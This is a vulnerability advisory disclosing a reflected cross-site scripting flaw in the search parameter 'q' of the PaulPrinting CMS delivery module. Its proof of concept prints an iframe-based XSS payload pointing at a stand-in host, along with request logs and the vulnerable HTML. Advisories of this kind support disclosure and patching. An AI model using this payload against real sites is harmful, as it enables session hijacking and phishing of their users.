Document Title:
PaulPrinting CMS - (Search Delivery) Cross Site Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
PaulPrinting is designed feature rich, easy to use, search engine friendly, modern design and with a visually appealing interface.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the PaulPrinting (v2018) cms web-application.

Vulnerability Disclosure Timeline:
2022-08-25: Researcher Notification & Coordination (Security Researcher)
2022-08-26: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2023-07-17: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Open Authentication (Anonymous Privileges)

User Interaction:
Medium User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A client-side cross site scripting vulnerability has been discovered in the official PaulPrinting (v2018) cms web-application.
Remote attackers are able to manipulate client-side requests by injection of malicious script code to compromise user session data.

The client-side cross site scripting web vulnerability is located in the search input field with the insecure validated q parameter 
affecting the delivery module. Remote attackers are able to inject own malicious script code to the search input to provoke a client-side 
script code execution without secure encode. The request method to execute is GET and the attack vector is non-persistent.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects 
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] /account/delivery

Vulnerable Input(s):
[+] Search

Vulnerable Parameter(s):
[+] q

Affected Module(s):
[+] /account/delivery
[+] Delivery Contacts

Proof of Concept (PoC):
The non-persistent xss web vulnerability can be exploited by remote attackers with low privileged user account and medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Example

PoC: Exploitation"><iframe src=evil.source onload=alert(document.cookie)>

--- PoC Session Logs (GET) ---"><iframe src=evil.source onload=alert(document.cookie)>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: member_login=1; member_id=123; session_id=25246428fe6e707a3be0e0ce54f0e5bf;
GET: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.1.33

Vulnerable Source:  (Search - delivery?q=)
<div class="col-lg-8">
<a href="" class="btn btn-primary mt-4 mb-2 float-right">
<i class="fa fa-fw fa-plus"></i>
<form class="form-inline mt-4 mb-2" method="get">
<div class="input-group mb-3 mr-2">
<input type="text" class="form-control" name="q" value="a"><iframe src="evil.source" onload="alert(document.cookie)">">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="submit" id="button-addon2"><i class="fa fa-fw fa-search"></i></button>

Security Risk:
The security risk of the cross site scripting web vulnerability with non-persistent attack vector is estimated as medium.

Credits & Authors:
Vulnerability-Lab [Research Team] -

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